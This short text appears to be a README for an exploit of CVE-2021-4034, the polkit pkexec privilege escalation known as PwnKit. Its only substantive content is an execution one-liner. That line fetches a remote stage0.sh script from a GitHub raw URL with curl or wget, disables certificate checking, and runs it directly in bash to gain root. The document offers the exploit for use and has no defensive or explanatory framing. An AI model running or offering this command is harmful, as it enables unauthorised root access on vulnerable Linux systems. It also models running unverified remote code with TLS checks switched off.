CVE-2021-4034
Privilege escalation in polkit pkexec function.
Execution:
command -v curl >/dev/null && bash -c "$(curl -fsSLk raw.githubusercontent.com/secw01f/pwnkit/main/stage0.sh)" || bash -c "$(wget --no-check-certificate -q0- raw.githubusercontent.com/secw01f/pwnkit/main/stage0.sh)"